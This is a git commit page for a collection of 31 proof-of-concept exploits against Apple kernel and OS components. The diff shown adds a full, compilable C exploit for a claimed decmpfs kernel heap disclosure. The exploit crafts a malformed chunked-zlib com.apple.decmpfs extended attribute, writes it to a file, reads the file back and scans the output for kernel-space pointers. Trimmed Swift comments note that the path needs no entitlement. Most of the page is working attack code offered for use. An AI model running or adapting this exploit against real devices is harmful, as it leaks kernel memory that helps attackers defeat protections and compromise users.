v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+197
View File
@@ -0,0 +1,197 @@
// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910
// Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/xattr.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static void le64(buf *b, uint64_t v) {
for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
}
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ──
// 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks
// whose zlib streams produce only `produce` bytes each
static uint32_t adler32(const uint8_t *p, size_t n) {
uint32_t a = 1, b = 0;
for (size_t i = 0; i < n; i++) {
a = (a + p[i]) % 65521;
b = (b + a) % 65521;
}
return (b << 16) | a;
}
static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) {
buf out = {0};
le32(&out, 0x636D7066); // 'cmpf'
le32(&out, 4); // typeZlibChunked
le64(&out, (uint64_t)uncompressed);
// per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41
buf payload = {0};
brep(&payload, 0x41, produce);
buf z = {0};
bput(&z, 0x78); bput(&z, 0x01); // zlib header
size_t off = 0;
if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5);
while (off < payload.n) {
size_t take = payload.n - off < 65535 ? payload.n - off : 65535;
bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag
le16(&z, (uint16_t)take);
le16(&z, (uint16_t)~take);
bcat(&z, payload.d + off, take);
off += take;
}
be32(&z, adler32(payload.d, payload.n));
uint32_t offsets[9];
uint32_t running = 0;
for (int i = 0; i < chunk_count; i++) {
offsets[i] = running;
running += (uint32_t)(1 + z.n); // flag byte + zlib stream
}
offsets[chunk_count] = running;
for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]);
for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); }
bfree(&payload);
bfree(&z);
return out;
}
// ── trigger: xattr round trip + kernel-pointer scan ──
typedef struct {
int wrote_xattr;
long read_back;
long hits;
char samples[8][32];
int nsamples;
char note[128];
} decmpfs_result;
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
decmpfs_result r = {0};
// seed file: plain 0x41 content (the uncompressed claim)
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t zeros[4096];
memset(zeros, 0x41, sizeof zeros);
size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) {
size_t take = left < sizeof zeros ? left : sizeof zeros;
if (write(fd, zeros, take) != (ssize_t)take) break;
left -= take;
}
close(fd);
}
buf payload = decmpfs_chunked(uncompressed, chunks, produce);
if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) {
snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno);
bfree(&payload);
return r;
}
r.wrote_xattr = 1;
// read the file back: the kernel decompresses through AppleFSCompression
FILE *f = fopen(path, "rb");
if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
bfree(&payload);
return r;
}
buf back = {0};
uint8_t chunk[65536];
size_t got;
while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got);
fclose(f);
r.read_back = (long)back.n;
// scan for kernel-space pointers in whatever the kernel handed back
if (back.n >= 8) {
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
if (v >= 0xFFFFFFE000000000ULL) {
r.hits++;
if (r.nsamples < 8) {
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
(unsigned long long)v, i);
r.nsamples++;
}
}
}
}
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
bfree(&back);
bfree(&payload);
return r;
}
int main(void) {
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[4] = {
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
};
long total_hits = 0;
printf("— baseline: what a plain file reads back —\n");
{
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t a64[64];
memset(a64, 0x41, sizeof a64);
for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break;
close(fd);
}
FILE *f = fopen(path, "rb");
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
}
printf("\n— chunked xattr round trip —\n");
for (int i = 0; i < 4; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
total_hits += r.hits;
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
if (r.nsamples > 0) {
printf(" candidates:");
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
printf("\n");
}
}
unlink(path);
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
: "no kernel pointers surfaced (read was served plain)");
return 0;
}
+2 -17
View File
@@ -1,22 +1,8 @@
// kern.decmpfs · XNU · AppleFSCompressionTypeZlib · CVE-2026-113910
// 原语: 信息泄露 · 内核 · tier 2
// Primitive: info leak · kernel · tier 2
//
// [zh] decmpfs 分块解压欠产出 → 内核堆泄露
// 分块 zlib 解压的实际产出少于预期时,27.0 不比对 produced 与 expected,内核页缓冲的尾部因此保持未写状态;read() 随后将整个缓冲交回应用,使应用取得陈旧的堆内容。
// 27.2 补入该比对。
//
// [en] decmpfs chunked decompression under-produce → kernel heap disclosure
// When chunked zlib decompression produces fewer bytes than expected, 27.0 does not compare produced
// against expected, so the tail of the kernel page buffer is left unwritten; read() then hands the
// whole buffer back to the app, which receives stale heap content. iOS 27.2 adds that comparison.
// ── 判别 / oracle ──
// 这是整套原语中少数完全不需要 entitlement 的内核路径:应用在自身容器内写入一个带 com.apple.decmpfs 扩展属性的文件,读回的内容即内核解压的产物。以 8 字节窗口扫描,
// 凡落在内核地址空间范围(≥ 0xFFFFFFE000000000)的值即为候选指针。
// decmpfs chunked decompression under-produce → kernel heap disclosure
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
}